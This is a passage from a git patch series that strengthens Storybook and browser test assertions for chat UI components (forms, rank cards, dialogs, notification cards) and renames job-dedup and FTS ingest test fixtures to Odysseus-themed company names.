expect(document.querySelector("[data-apify-turn-notice]"), "settled by the host, not by the click").toBeNull()); - await expect(reads.some(query => query.includes("refresh=1"))).toBe(true); + await expect(reads, "Check again asked the host to refresh").toContainEqual(expect.stringContaining("refresh=1")); }, }); export const StoppedUnconfirmed1280 = StoppedUnconfirmed320.extend(atWidth(1280)); diff --git a/packages/ui-kit/stories/conversation/AttachmentRow.stories.tsx b/packages/ui-kit/stories/conversation/AttachmentRow.stories.tsx index 34bccbdc07..e2fe3339c1 100644 --- a/packages/ui-kit/stories/conversation/AttachmentRow.stories.tsx +++ b/packages/ui-kit/stories/conversation/AttachmentRow.stories.tsx @@ -63,13 +63,9 @@ export const WaveformIsDeterministic = meta.story({ const bars = [...canvasElement.querySelectorAll("span")].filter( (s) => s.style.width === "2px", ); + // The heights follow this clip's 38 seconds, so a formula that stopped + // reading `seconds` draws another shape and fails here. await expect(bars.map((b) => b.style.height)).toEqual(expected.map((h) => `${h}px`)); - - // And the shape is a function of the clip, not a constant. - const other = Array.from({ length: 6 }, (_, i) => - Math.round(4 + Math.abs(Math.sin((i + 1) * 1.7 + 91)) * 13), - ); - await expect(other).not.toEqual(expected); }, }); diff --git a/packages/ui-kit/stories/conversation/CodeFenceTheme.stories.tsx b/packages/ui-kit/stories/conversation/CodeFenceTheme.stories.tsx index c98cd10e87..d5d2bb5c92 100644 --- a/packages/ui-kit/stories/conversation/CodeFenceTheme.stories.tsx +++ b/packages/ui-kit/stories/conversation/CodeFenceTheme.stories.tsx @@ -26,6 +26,8 @@ export const Phone = meta.story({ render: () => , play: async ( await waitFor(() => expect(canvasElement.querySelector('[data-code-theme-preview]')?.shadowRoot?.querySelectorAll('.hljs-keyword').length ?? 0).toBeGreaterThan(0)); const shadow = canvasElement.querySelector('[data-code-theme-preview]')!.shadowRoot!; await expect(shadow.querySelectorAll('[data-kit-code-block]')).toHaveLength(3); - for (const button of shadow.querySelectorAll('button')) await expect(button.getBoundingClientRect().height).toBeGreaterThanOrEqual(44); + const buttons = shadow.querySelectorAll('button'); + await expect(buttons, 'one copy button per code block').toHaveLength(3); + for (const button of buttons) await expect(button.getBoundingClientRect().height).toBeGreaterThanOrEqual(44); } }); export const Desktop = Phone.extend({ parameters: wide }); diff --git a/packages/ui-kit/stories/conversation/ComparisonTable.stories.tsx b/packages/ui-kit/stories/conversation/ComparisonTable.stories.tsx index b7187c360e..fcd2ef940a 100644 --- a/packages/ui-kit/stories/conversation/ComparisonTable.stories.tsx +++ b/packages/ui-kit/stories/conversation/ComparisonTable.stories.tsx @@ -1,4 +1,5 @@ import preview from "#.storybook/preview"; +import { expect } from "storybook/test"; import { straitChoice } from "../../fixtures/projects.js"; import { ComparisonTable } from "../../src/conversation/ComparisonTable.js"; @@ -53,6 +54,9 @@ export const MissingValues = Default.extend({ ], footnote: "", }, + play: async ({ canvas }) => { + await expect(canvas.queryAllByText("—"), "both empty cells read as an em dash").toHaveLength(2); + }, }); /** No recommendation: nothing is tinted, and the table is then a comparison diff --git a/packages/ui-kit/stories/conversation/EmptyState.stories.tsx b/packages/ui-kit/stories/conversation/EmptyState.stories.tsx index 40920a07b7..113b7e5697 100644 --- a/packages/ui-kit/stories/conversation/EmptyState.stories.tsx +++ b/packages/ui-kit/stories/conversation/EmptyState.stories.tsx @@ -81,6 +81,7 @@ export const WithActions = meta.story({ export const DecorativeActions = meta.story({ args: { variant: "offline", primaryLabel: "Retry", primaryTone: "quiet" }, play: async ({ canvas }) => { + await expect(canvas.queryByText("Retry"), "the decorative action is still drawn").toBeVisible(); await expect(canvas.queryByRole("button")).toBeNull(); }, }); diff --git a/packages/ui-kit/stories/conversation/TurnErrorCard.stories.tsx b/packages/ui-kit/stories/conversation/TurnErrorCard.stories.tsx index c6b2b87cfe..7e0fa0f371 100644 --- a/packages/ui-kit/stories/conversation/TurnErrorCard.stories.tsx +++ b/packages/ui-kit/stories/conversation/TurnErrorCard.stories.tsx @@ -15,10 +15,11 @@ const meta = preview.meta({ }, }); -const play = async ({ canvasElement }: { canvasElement: HTMLElement }) => { +const play = async ({ canvasElement, args }: { canvasElement: HTMLElement; args: { actions?: readonly unknown[] } }) => { const card = canvasElement.querySelector('[aria-label="Turn failed"]')!; await expect(overflowing(card)).toEqual([]); await expect(card.getBoundingClientRect().width).toBeCloseTo(card.parentElement!.getBoundingClientRect().width, 0); + await expect(card.querySelectorAll('.bk-turn-error-actions [role="button"]'), "every action is an operable control").toHaveLength(args.actions?.length ?? 0); for (const control of card.querySelectorAll('[role="button"]')) { await expect(control.getBoundingClientRect().height).toBeGreaterThanOrEqual(44); } diff --git a/packages/ui-kit/stories/decisions/AskUserFormCard.stories.tsx b/packages/ui-kit/stories/decisions/AskUserFormCard.stories.tsx index 276debe0ff..daea26bc5b 100644 --- a/packages/ui-kit/stories/decisions/AskUserFormCard.stories.tsx +++ b/packages/ui-kit/stories/decisions/AskUserFormCard.stories.tsx @@ -56,7 +56,11 @@ const args = { onSubmit: fn(), onDismiss: fn(), }; -async function geometry(root: HTMLElement) { +async function geometry(root: HTMLElement, shown: string[]) { + await expect( + [...root.querySelectorAll("[data-form-node]")].map((node) => node.dataset.formNode), + "the visible nodes", + ).toEqual(shown); await expect(overflowing(root)).toEqual([]); const card = root.querySelector(".bk-askform")!; await expect(card.getBoundingClientRect().width).toBeGreaterThan(200); @@ -73,15 +77,15 @@ async function geometry(root: HTMLElement) { } export const FormSingle = meta.story({ args: { ...args, answers: { evening: { value: "Walk" } } }, - play: async ({ canvasElement }) => geometry(canvasElement), + play: async ({ canvasElement }) => geometry(canvasElement, ["evening", "walk"]), }); export const FormMulti = meta.story({ args: { ...args, answers: { evening: { value: "Tales" } } }, - play: async ({ canvasElement }) => geometry(canvasElement), + play: async ({ canvasElement }) => geometry(canvasElement, ["evening", "tales"]), }); export const FormRank = meta.story({ args: { ...args, answers: { evening: { value: "Games" } } }, - play: async ({ canvasElement }) => geometry(canvasElement), + play: async ({ canvasElement }) => geometry(canvasElement, ["evening", "games"]), }); export const FormScale = meta.story({ args: { @@ -101,7 +105,7 @@ export const FormScale = meta.story({ }, ], }, - play: async ({ canvasElement }) => geometry(canvasElement), + play: async ({ canvasElement }) => geometry(canvasElement, ["evening", "scale"]), }); export const FormText = meta.story({ args: { @@ -127,7 +131,7 @@ export const FormText = meta.story({ answers: { evening: { value: "Tales" }, text: "Remember the harbor." }, visibleNodes: ["evening", "text"], }); - await geometry(canvasElement); + await geometry(canvasElement, ["evening", "text"]); }, }); export const FormSwitchSetAside = meta.story({ @@ -177,7 +181,7 @@ export const FormSwitchSetAside = meta.story({ canvasElement.querySelector("[data-form-actions] .bk-form-keys") ?.textContent, ).toContain("space pick up"); - await geometry(canvasElement); + await geometry(canvasElement, ["evening", "games"]); }, }); const three: FormNode[] = [ @@ -205,7 +209,7 @@ export const FormThreeLevels = meta.story({ nodes: three, answers: { evening: { value: "Games" }, gameKind: { value: "Journeys" } }, }, - play: async ({ canvasElement }) => geometry(canvasElement), + play: async ({ canvasElement }) => geometry(canvasElement, ["evening", "gameKind", "rank"]), }); const deep: FormNode[] = [ three[0]!, @@ -234,7 +238,7 @@ export const FormFourLevels = meta.story({ await expect( canvas.getByRole("button", { name: "Show full path to Journeys" }), ).toBeVisible(); - await geometry(canvasElement); + await geometry(canvasElement, ["evening", "gameKind", "location", "rank"]); }, }); export const FormFlagged = meta.story({ @@ -246,7 +250,7 @@ export const FormFlagged = meta.story({ await expect( canvasElement.querySelector('[aria-invalid="true"]'), ).not.toBeNull(); - await geometry(canvasElement); + await geometry(canvasElement, ["evening"]); }, }); export const FormAnsweredTales = meta.story({ @@ -317,7 +321,7 @@ export const FormSixOptionScale = meta.story({ ], answers: { evening: { value: "Walk" }, walk: { value: "Far" } }, }, - play: async ({ canvasElement }) => geometry(canvasElement), + play: async ({ canvasElement }) => geometry(canvasElement, ["evening", "walk", "route"]), }); export const FormNodeLimit = meta.story({ args: { @@ -329,7 +333,7 @@ export const FormNodeLimit = meta.story({ required: false, })), }, - play: async ({ canvasElement }) => geometry(canvasElement), + play: async ({ canvasElement }) => geometry(canvasElement, Array.from({ length: 12 }, (_, i) => `note-${i}`)), }); export const FormSixOptionScaleWide = FormSixOptionScale.extend({ parameters: wide, diff --git a/packages/ui-kit/stories/decisions/AskUserRankCard.stories.tsx b/packages/ui-kit/stories/decisions/AskUserRankCard.stories.tsx index bdab17b045..4707371113 100644 --- a/packages/ui-kit/stories/decisions/AskUserRankCard.stories.tsx +++ b/packages/ui-kit/stories/decisions/AskUserRankCard.stories.tsx @@ -9,13 +9,15 @@ const five = rankingJourneys.slice(0, 5); const ids = five.map((item) => item.id); const args = { question: "Which crossing first?", items: five, onSubmit: fn(), onDismiss: fn() }; -async function geometry(root: HTMLElement) { +async function geometry(root: HTMLElement, rows: number) { await expect(overflowing(root)).toEqual([]); const card = root.querySelector(".bk-askrank")!; await expect(card.getBoundingClientRect().width).toBeGreaterThan(200); await Promise.all(card.getAnimations({ subtree: true }).filter((animation) => animation.effect?.getTiming().iterations !== Infinity).map((animation) => animation.finished.catch(() => undefined))); const scroll = window.scrollY; - for (const handle of root.querySelectorAll("[data-rank-handle]")) { + const handles = root.querySelectorAll("[data-rank-handle]"); + await expect(handles, "one reorder handle per row").toHaveLength(rows); + for (const handle of handles) { handle.scrollIntoView({ block: "center" }); const paint = handle.getBoundingClientRect(); const reach = getComputedStyle(handle, "::before"); @@ -31,13 +33,13 @@ async function geometry(root: HTMLElement) { } window.scrollTo(0, scroll); } -export const RankUntouched = meta.story({ args, play: async ({ canvasElement }) => geometry(canvasElement) }); -export const RankWide = meta.story({ args, parameters: wide, play: async ({ canvasElement }) => geometry(canvasElement) }); +export const RankUntouched = meta.story({ args, play: async ({ canvasElement }) => geometry(canvasElement, five.length) }); +export const RankWide = meta.story({ args, parameters: wide, play: async ({ canvasElement }) => geometry(canvasElement, five.length) }); export const RankPickedUp = meta.story({ args, play: async ({ canvas, canvasElement }) => { await userEvent.click(canvas.getByRole("button", { name: "Circe’s island, position 3 of 5" })); await expect(canvas.getByRole("button", { name: "Cancel" })).toBeVisible(); await expect(getComputedStyle(canvasElement.querySelector("[data-picked]")!).boxShadow).not.toBe("none"); - await geometry(canvasElement); + await geometry(canvasElement, five.length); } }); /** A static lifted frame; pointer travel itself is covered by the browser harness. */ export const RankMidDrag = meta.story({ args, play: async ({ canvas }) => { @@ -45,7 +47,7 @@ export const RankMidDrag = meta.story({ args, play: async ({ canvas }) => { } }); export const RankAnswered = meta.story({ args: { ...args, state: "answered", order: [ids[2]!, ids[0]!, ids[4]!, ids[1]!, ids[3]!], unchanged: false } }); export const RankKept = meta.story({ args: { ...args, state: "answered", order: ids, unchanged: true } }); -export const RankFifteenCutoff = meta.story({ args: { ...args, items: rankingJourneys, cutoff: 3 }, play: async ({ canvasElement }) => geometry(canvasElement) }); +export const RankFifteenCutoff = meta.story({ args: { ...args, items: rankingJourneys, cutoff: 3 }, play: async ({ canvasElement }) => geometry(canvasElement, rankingJourneys.length) }); export const RankFifteenAnswered = meta.story({ args: { ...args, items: rankingJourneys, cutoff: 3, state: "answered", order: rankingJourneys.map((item) => item.id), unchanged: true } }); export const RankDismissed = meta.story({ args: { ...args, state: "dismissed", onAskAgain: fn() } }); export const RankKeyboard = meta.story({ args, play: async ({ canvas, args: current, canvasElement }) => { @@ -57,7 +59,7 @@ export const RankKeyboard = meta.story({ args, play: async ({ canvas, args: curr await expect(canvasElement.querySelector("[aria-live]")?.textContent).toBe("Aeolus’s floating island moved to 3 of 5."); await userEvent.click(canvas.getByRole("button", { name: "Submit order" })); await expect(current.onSubmit).toHaveBeenCalledWith({ order: [ids[2], ids[0], ids[4], ids[1], ids[3]], unchanged: false }); - await geometry(canvasElement); + await geometry(canvasElement, five.length); } }); // Every interaction/record state also holds at the design’s wide width. diff --git a/packages/ui-kit/stories/decisions/DispositionBar.stories.tsx b/packages/ui-kit/stories/decisions/DispositionBar.stories.tsx index 062995fecf..4a348979ff 100644 --- a/packages/ui-kit/stories/decisions/DispositionBar.stories.tsx +++ b/packages/ui-kit/stories/decisions/DispositionBar.stories.tsx @@ -80,13 +80,16 @@ export const Applying = meta.story({ play: async ({ canvas, canvasElement, args }) => { await expect(canvas.getByText("Recording…")).toBeTruthy(); await expect(canvasElement.querySelector("[aria-busy='true']")).not.toBeNull(); - for (const button of canvas.getAllByRole("button")) { + const buttons = canvas.getAllByRole("button"); + await expect(buttons, "commit, Later and Dismiss are all drawn").toHaveLength(3); + for (const button of buttons) { await expect(button.getAttribute("aria-disabled")).toBe("true"); // A pointer cannot reach it (pointer-events: none); a programmatic // click must not fire either. button.click(); } await expect(args.commit!.onClick).not.toHaveBeenCalled(); + await expect(args.later!.onClick, "Later is inert while busy").not.toHaveBeenCalled(); await expect(args.dismiss!.onClick).not.toHaveBeenCalled(); }, }); diff --git a/packages/ui-kit/stories/decisions/NotificationCard.stories.tsx b/packages/ui-kit/stories/decisions/NotificationCard.stories.tsx index 06ec8d1639..2351df435c 100644 --- a/packages/ui-kit/stories/decisions/NotificationCard.stories.tsx +++ b/packages/ui-kit/stories/decisions/NotificationCard.stories.tsx @@ -81,8 +81,11 @@ export const WideStory = Rich.extend({ parameters: wide }); export const Acted = meta.story({ play: async ({ canvas, userEvent, args }) => { await userEvent.click(await canvas.findByText("Approve the fetch")); - await expect(args.actions?.[0].onClick).toHaveBeenCalled(); + await expect(args.actions?.[0].onClick).toHaveBeenCalledTimes(1); await expect(args.actions?.[1].onClick).not.toHaveBeenCalled(); + await userEvent.click(await canvas.findByText("Later")); + await expect(args.actions?.[1].onClick, "Later reaches its own callback").toHaveBeenCalledTimes(1); + await expect(args.actions?.[0].onClick).toHaveBeenCalledTimes(1); }, }); @@ -91,6 +94,7 @@ export const Acted = meta.story({ export const Static = meta.story({ args: { actions: rich.actions }, play: async ({ canvas, canvasElement }) => { + for (const action of rich.actions) await expect(canvas.queryByText(action.label), `${action.label} is still drawn`).toBeVisible(); await expect(canvas.queryByRole("button")).toBeNull(); await expect(canvasElement.querySelector("[tabindex]")).toBeNull(); }, diff --git a/packages/ui-kit/stories/decisions/QuestionAndMask.stories.tsx b/packages/ui-kit/stories/decisions/QuestionAndMask.stories.tsx index 82f7d10eae..724042a4aa 100644 --- a/packages/ui-kit/stories/decisions/QuestionAndMask.stories.tsx +++ b/packages/ui-kit/stories/decisions/QuestionAndMask.stories.tsx @@ -845,26 +845,6 @@ export const MultiQuestionDismissed = meta.story({ }, }); -const singleOtherSubmit = fn(); -export const SingleQuestionUnchanged = meta.story({ - parameters: at320, - render: () => , - play: async ({ canvas, userEvent }) => { - await expect(canvas.getAllByRole("radiogroup")).toHaveLength(1); - const submit = canvas.getByRole("button", { name: "Submit" }); - await expect(submit).toHaveAttribute("aria-disabled", "true"); - await expect(canvas.getByRole("button", { name: "Dismiss" })).toBeVisible(); - const field = canvas.getByRole("textbox", { name: "Your own answer" }); - await userEvent.type(field, "keep the omens"); - await expect(submit).not.toHaveAttribute("aria-disabled"); - await userEvent.click(submit); - await expect(singleOtherSubmit).toHaveBeenCalledTimes(1); - await expect(singleOtherSubmit).toHaveBeenCalledWith("keep the omens"); - await userEvent.type(field, "{Enter}"); - await expect(singleOtherSubmit).toHaveBeenCalledTimes(2); - }, -}); - export const MultiQuestionWide = MultiQuestion.extend({ parameters: wide }); export const MultiQuestionIncompleteWide = MultiQuestionIncomplete.extend({ parameters: wide }); export const MultiQuestionKeepsAnswersWide = MultiQuestionKeepsAnswers.extend({ parameters: wide }); @@ -872,4 +852,3 @@ export const MultiQuestionHandOnWide = MultiQuestionHandOn.extend({ parameters: export const MultiQuestionLongestWide = MultiQuestionLongest.extend({ parameters: wide }); export const MultiQuestionAnsweredWide = MultiQuestionAnswered.extend({ parameters: wide }); export const MultiQuestionDismissedWide = MultiQuestionDismissed.extend({ parameters: wide }); -export const SingleQuestionUnchangedWide = SingleQuestionUnchanged.extend({ parameters: wide }); diff --git a/packages/ui-kit/stories/desktop/CommandPalette.stories.tsx b/packages/ui-kit/stories/desktop/CommandPalette.stories.tsx index 61163c3ecf..14687e55c7 100644 --- a/packages/ui-kit/stories/desktop/CommandPalette.stories.tsx +++ b/packages/ui-kit/stories/desktop/CommandPalette.stories.tsx @@ -115,7 +115,7 @@ export const EveryWriteShowsItsEffect = meta.story({ for (const write of writes) { // In the row, visibly. - await expect(await canvas.findByText(write.effect!)).toBeTruthy(); + await expect(await canvas.findByText(write.effect!)).toBeVisible(); // And in the name a screen reader is given. const row = options.find((o) => o.textContent?.includes(write.label))!; await expect(row).toHaveAccessibleName(`${write.label}, ${write.effect}`); @@ -253,8 +253,8 @@ export const Static = meta.story({ await expect(canvas.queryByRole("option")).toBeNull(); await expect(canvasElement.querySelector("[tabindex]")).toBeNull(); await expect(canvasElement.querySelector(".bk-row")).toBeNull(); - await expect(await canvas.findByText("enqueue")).toBeTruthy(); - await expect(await canvas.findByText("reindex")).toBeTruthy(); + await expect(await canvas.findByText("enqueue")).toBeVisible(); + await expect(await canvas.findByText("reindex")).toBeVisible(); // The query is still a real input — read-only rather than fake, as the // composer's is — so it still focuses and still announces itself. const input = await canvas.findByRole("combobox"); From c5c939488320023734c61b9dda607dfdc76dff9f Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Tue, 10 Nov 2026 21:46:42 +0100 Subject: [PATCH 155/252] test(ui-react): review dialogs run once per theme and restore an absent theme Test-Health: th-20261110195347-f9b8db#3 --- .../tests/browser/review-dialogs.layout.tsx | 24 ++++++++++--------- 1 file changed, 13 insertions(+), 11 deletions(-) diff --git a/packages/ui-react/tests/browser/review-dialogs.layout.tsx b/packages/ui-react/tests/browser/review-dialogs.layout.tsx index a660184282..0e5d6384d7 100644 --- a/packages/ui-react/tests/browser/review-dialogs.layout.tsx +++ b/packages/ui-react/tests/browser/review-dialogs.layout.tsx @@ -57,7 +57,7 @@ async function mount(ctx: TestContext, site: Site, width = 1280, theme = "dark", } ctx.onTestFinished(async () => { flushSync(() => renderer.unmount()); await frame(); ui.dispose(); host.remove(); - document.documentElement.dataset.theme = before.theme; + if (before.theme === undefined) delete document.documentElement.dataset.theme; else document.documentElement.dataset.theme = before.theme; await page.viewport(before.width, before.height); await commands.formViewport(outer.width - 100, outer.height - 120); }); @@ -69,11 +69,13 @@ async function mount(ctx: TestContext, site: Site, width = 1280, theme = "dark", return { ui, id, host, opener, dialog, hideOpener, closes: () => closes }; } -for (const site of ["local", "diagnostic", "compare"] as const) for (const theme of ["dark", "light"]) for (const width of [320, 1280]) { - const cell = `${site} ${theme} ${width}`; +// One theme per cell: focus, trapping, dismissal and geometry take no +// theme-specific class, and Storybook owns light/dark parity. +for (const site of ["local", "diagnostic", "compare"] as const) for (const width of [320, 1280]) { + const cell = `${site} ${width}`; test(`${cell}: initial focus and accessible name`, async ctx => { // Mutation: remove the adapter's initialFocus; heading entry assertion fails. - const s = await mount(ctx, site, width, theme); + const s = await mount(ctx, site, width); expect(document.activeElement, "review focuses its reading heading").toBe(s.dialog()!.querySelector("h2")); const d = s.dialog()!; expect(d.getAttribute("aria-label") ?? document.getElementById(d.getAttribute("aria-labelledby")!)?.textContent, "preserved review name").toBe(names[site]); @@ -81,7 +83,7 @@ for (const site of ["local", "diagnostic", "compare"] as const) for (const theme }); test(`${cell}: traps Tab in both directions`, async ctx => { // Mutation: replace showModal with show and disable Overlay's Tab wrap. - const s = await mount(ctx, site, width, theme); + const s = await mount(ctx, site, width); const d = s.dialog()!; const stops = [...d.querySelectorAll('button,[role=button],input,textarea,[tabindex]')].filter(el => el.tabIndex >= 0 && !el.matches(":disabled,[aria-disabled=true]") && el.getClientRects().length > 0); expect(stops.length, "nonempty review controls").toBeGreaterThan(1); @@ -93,30 +95,30 @@ for (const site of ["local", "diagnostic", "compare"] as const) for (const theme }); test(`${cell}: Escape requests dismissal`, async ctx => { // Mutation: replace each adapter's onClose with a no-op. - const s = await mount(ctx, site, width, theme); + const s = await mount(ctx, site, width); await userEvent.keyboard("{Escape}"); await frame(); expect(s.dialog(), "Escape dismisses review").toBeNull(); expect(s.closes(), "one close request").toBe(1); }); test(`${cell}: closing returns opener focus`, async ctx => { // Mutation: disable Overlay's returnFocus policy. - const s = await mount(ctx, site, width, theme); + const s = await mount(ctx, site, width); await userEvent.keyboard("{Escape}"); await frame(); expect(document.activeElement, "review returns focus to its opener").toBe(s.opener); }); test(`${cell}: scrim follows caller policy`, async ctx => { // Mutation: change local closerequest to any, and the other adapters to closerequest. - const s = await mount(ctx, site, width, theme); + const s = await mount(ctx, site, width); await userEvent.click(s.dialog()!.querySelector(".bk-overlay-scrim")!, { position: { x: 8, y: 8 } }); await frame(); expect(s.closes(), "preserved scrim close policy").toBe(site === "local" ? 0 : 1); expect(!!s.dialog(), "scrim leaves local work mounted only").toBe(site === "local"); }); } -for (const site of ["local", "diagnostic", "compare"] as const) for (const theme of ["dark", "light"]) for (const width of [320, 899, 900, 1280]) { - test(`${site} ${theme} ${width}: shared 900px geometry`, async ctx => { +for (const site of ["local", "diagnostic", "compare"] as const) for (const width of [320, 899, 900, 1280]) { + test(`${site} ${width}: shared 900px geometry`, async ctx => { // Mutation: force top placement instead of responsive center. - const s = await mount(ctx, site, width, theme); + const s = await mount(ctx, site, width); const surface = s.dialog()!.querySelector(".bk-overlay-surface")!; const r = surface.getBoundingClientRect(); expect(Math.abs(width < 900 ? r.bottom - innerHeight : r.top + r.height / 2 - innerHeight / 2), "review docks below 900 and centers from 900").toBeLessThanOrEqual(1); From a2db540e619b00aedd7f3fc4432c6a6fdb8683a7 Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Tue, 10 Nov 2026 21:47:11 +0100 Subject: [PATCH 156/252] test(module-jobs): move dedup, FTS and ingest fixtures to the Odysseus world Test-Health: th-20261110201428-8c4366#1 --- packages/module-jobs/tests/jobs-dedup.test.ts | 12 ++--- packages/module-jobs/tests/jobs-fts.test.ts | 4 +- .../tests/jobs-ingest-refresh.test.ts | 52 +++++++++---------- 3 files changed, 34 insertions(+), 34 deletions(-) diff --git a/packages/module-jobs/tests/jobs-dedup.test.ts b/packages/module-jobs/tests/jobs-dedup.test.ts index 7c1db1095a..38eecaa2e3 100644 --- a/packages/module-jobs/tests/jobs-dedup.test.ts +++ b/packages/module-jobs/tests/jobs-dedup.test.ts @@ -27,14 +27,14 @@ describe("normalizeTitle", () => { describe("computeFingerprint", () => { test("senior vs junior at the same company do not collide", () => { - expect(computeFingerprint("Acme", "Senior Engineer")).not.toBe( - computeFingerprint("Acme", "Junior Engineer") + expect(computeFingerprint("Ithaca Fleet", "Senior Engineer")).not.toBe( + computeFingerprint("Ithaca Fleet", "Junior Engineer") ); }); test("same job cross-source still collides (dedup keeps working)", () => { - expect(computeFingerprint("Acme Inc.", "Senior Platform Engineer")).toBe( - computeFingerprint("Acme", "Senior Platform Engineer - Remote") + expect(computeFingerprint("Ithaca Fleet Inc.", "Senior Platform Engineer")).toBe( + computeFingerprint("Ithaca Fleet", "Senior Platform Engineer - Remote") ); }); @@ -62,12 +62,12 @@ describe("runDedup integration", () => { const db = openDatabase(":memory:"); const jobs: RawJob[] = [ - { source: "remoteok", source_id: "r1", title: "Senior Platform Engineer", company: "Acme" }, + { source: "remoteok", source_id: "r1", title: "Senior Platform Engineer", company: "Ithaca Fleet" }, { source: "remotive", source_id: "v1", title: "Senior Platform Engineer - Remote", - company: "Acme Inc.", + company: "Ithaca Fleet Inc.", }, { source: "nodesk", diff --git a/packages/module-jobs/tests/jobs-fts.test.ts b/packages/module-jobs/tests/jobs-fts.test.ts index ef142d938c..0c5a58331c 100644 --- a/packages/module-jobs/tests/jobs-fts.test.ts +++ b/packages/module-jobs/tests/jobs-fts.test.ts @@ -10,7 +10,7 @@ function makeRawJob(overrides: Partial = {}): RawJob { source: "remoteok", source_id: "job-1", title: "Platform Systems Engineer", - company: "Acme", + company: "Ithaca Fleet", description: "

Build distributed orchestration platforms.

", url: "https://example.com/job-1", ...overrides, @@ -55,7 +55,7 @@ describe("FTS sync on ingest", () => { expect(stats.new).toBe(0); const row = db.query("SELECT last_seen_at FROM jobs").get() as { last_seen_at: string }; - expect(row.last_seen_at > "2020-01-02").toBe(true); + expect(Date.parse(row.last_seen_at)).toBeGreaterThan(Date.parse("2020-01-02")); db.close(); }); }); diff --git a/packages/module-jobs/tests/jobs-ingest-refresh.test.ts b/packages/module-jobs/tests/jobs-ingest-refresh.test.ts index cf600797fb..3acedb22f8 100644 --- a/packages/module-jobs/tests/jobs-ingest-refresh.test.ts +++ b/packages/module-jobs/tests/jobs-ingest-refresh.test.ts @@ -89,10 +89,10 @@ describe("the FTS sync check", () => { // Without this, every `expectFtsInSync` below could pass over exactly the // drift it is there to catch. withDb((db) => { - ingestJobs(db, [job({ company: "Acme Robotics" })]); + ingestJobs(db, [job({ company: "Ithaca Shipwrights" })]); expect(ftsInSync(db)).toBe(true); - db.run("UPDATE jobs SET company = 'Globex'"); + db.run("UPDATE jobs SET company = 'Phaeacian Fleet'"); expect(ftsInSync(db)).toBe(false); }); }); @@ -122,11 +122,11 @@ describe("company", () => { test("a corrected company replaces the stored one, with its derived columns", () => { withDb((db) => { ingestJobs(db, [job()]); - ingestJobs(db, [job({ company: "Acme Robotics GmbH" })]); + ingestJobs(db, [job({ company: "Ithaca Shipwrights GmbH" })]); const stored = row(db, "dice", "/job-detail/1"); - expect(stored.company).toBe("Acme Robotics GmbH"); - expect(stored.company_normalized).toBe(normalizeCompany("Acme Robotics GmbH")); + expect(stored.company).toBe("Ithaca Shipwrights GmbH"); + expect(stored.company_normalized).toBe(normalizeCompany("Ithaca Shipwrights GmbH")); expect(stored.fingerprint).toBe( computeFingerprint(stored.company, stored.title, { source: stored.source, sourceId: stored.source_id }) ); @@ -139,9 +139,9 @@ describe("company", () => { const id = row(db, "dice", "/job-detail/1").id; expect(ftsMatches(db, "company:unknown")).toEqual([id]); - ingestJobs(db, [job({ company: "Acme Robotics" })]); + ingestJobs(db, [job({ company: "Ithaca Shipwrights" })]); - expect(ftsMatches(db, "company:robotics")).toEqual([id]); + expect(ftsMatches(db, "company:shipwrights")).toEqual([id]); expect(ftsMatches(db, "company:unknown")).toEqual([]); expectFtsInSync(db); }); @@ -151,18 +151,18 @@ describe("company", () => { // `Unknown` is the adapters' "no company on this card". Treated like a // null: a row that already has a real company keeps it. withDb((db) => { - ingestJobs(db, [job({ company: "Acme Robotics" })]); + ingestJobs(db, [job({ company: "Ithaca Shipwrights" })]); const before = row(db, "dice", "/job-detail/1"); ingestJobs(db, [job({ company: "Unknown", title: "Staff Platform Engineer" })]); const after = row(db, "dice", "/job-detail/1"); - expect(after.company).toBe("Acme Robotics"); + expect(after.company).toBe("Ithaca Shipwrights"); expect(after.company_normalized).toBe(before.company_normalized); expect(after.fingerprint).toBe( - computeFingerprint("Acme Robotics", "Staff Platform Engineer", { source: "dice", sourceId: "/job-detail/1" }) + computeFingerprint("Ithaca Shipwrights", "Staff Platform Engineer", { source: "dice", sourceId: "/job-detail/1" }) ); - expect(ftsMatches(db, "company:robotics")).toEqual([after.id]); + expect(ftsMatches(db, "company:shipwrights")).toEqual([after.id]); expectFtsInSync(db); }); }); @@ -171,8 +171,8 @@ describe("company", () => { describe("derived columns follow the title too", () => { test("a changed title recomputes title_normalized and the fingerprint", () => { withDb((db) => { - ingestJobs(db, [job({ company: "Acme Robotics" })]); - ingestJobs(db, [job({ company: "Acme Robotics", title: "Principal Platform Engineer" })]); + ingestJobs(db, [job({ company: "Ithaca Shipwrights" })]); + ingestJobs(db, [job({ company: "Ithaca Shipwrights", title: "Principal Platform Engineer" })]); const stored = row(db, "dice", "/job-detail/1"); expect(stored.title_normalized).toBe(normalizeTitle("Principal Platform Engineer")); @@ -184,7 +184,7 @@ describe("derived columns follow the title too", () => { }); describe("a row whose fingerprint changes moves dedup group", () => { - const acme = (source: RawJob["source"], sourceId: string, company = "Acme Robotics"): RawJob => + const listing = (source: RawJob["source"], sourceId: string, company = "Ithaca Shipwrights"): RawJob => job({ source, source_id: sourceId, company, title: "Platform Engineer", url: undefined, source_url: undefined }); function age(db: Database, source: string, sourceId: string, firstSeen: string): void { @@ -193,13 +193,13 @@ describe("a row whose fingerprint changes moves dedup group", () => { test("a duplicate whose company changes is released, and is not re-marked", () => { withDb((db) => { - ingestJobs(db, [acme("remoteok", "a"), acme("weworkremotely", "b")]); + ingestJobs(db, [listing("remoteok", "a"), listing("weworkremotely", "b")]); age(db, "remoteok", "a", "2026-01-01T00:00:00.000Z"); runDedup(db); const canonical = row(db, "remoteok", "a"); expect(row(db, "weworkremotely", "b")).toMatchObject({ is_duplicate: 1, duplicate_of: canonical.id }); - ingestJobs(db, [acme("weworkremotely", "b", "Globex")]); + ingestJobs(db, [listing("weworkremotely", "b", "Phaeacian Fleet")]); expect(row(db, "weworkremotely", "b")).toMatchObject({ is_duplicate: 0, duplicate_of: null }); expect(runDedup(db).duplicates_found).toBe(0); @@ -209,14 +209,14 @@ describe("a row whose fingerprint changes moves dedup group", () => { test("a canonical whose company changes releases the duplicates that pointed at it", () => { withDb((db) => { - ingestJobs(db, [acme("remoteok", "a"), acme("weworkremotely", "b"), acme("workingnomads", "c")]); + ingestJobs(db, [listing("remoteok", "a"), listing("weworkremotely", "b"), listing("workingnomads", "c")]); age(db, "remoteok", "a", "2026-01-01T00:00:00.000Z"); age(db, "weworkremotely", "b", "2026-01-02T00:00:00.000Z"); runDedup(db); const canonical = row(db, "remoteok", "a"); expect(row(db, "workingnomads", "c").duplicate_of).toBe(canonical.id); - ingestJobs(db, [acme("remoteok", "a", "Globex")]); + ingestJobs(db, [listing("remoteok", "a", "Phaeacian Fleet")]); // b and c still share the 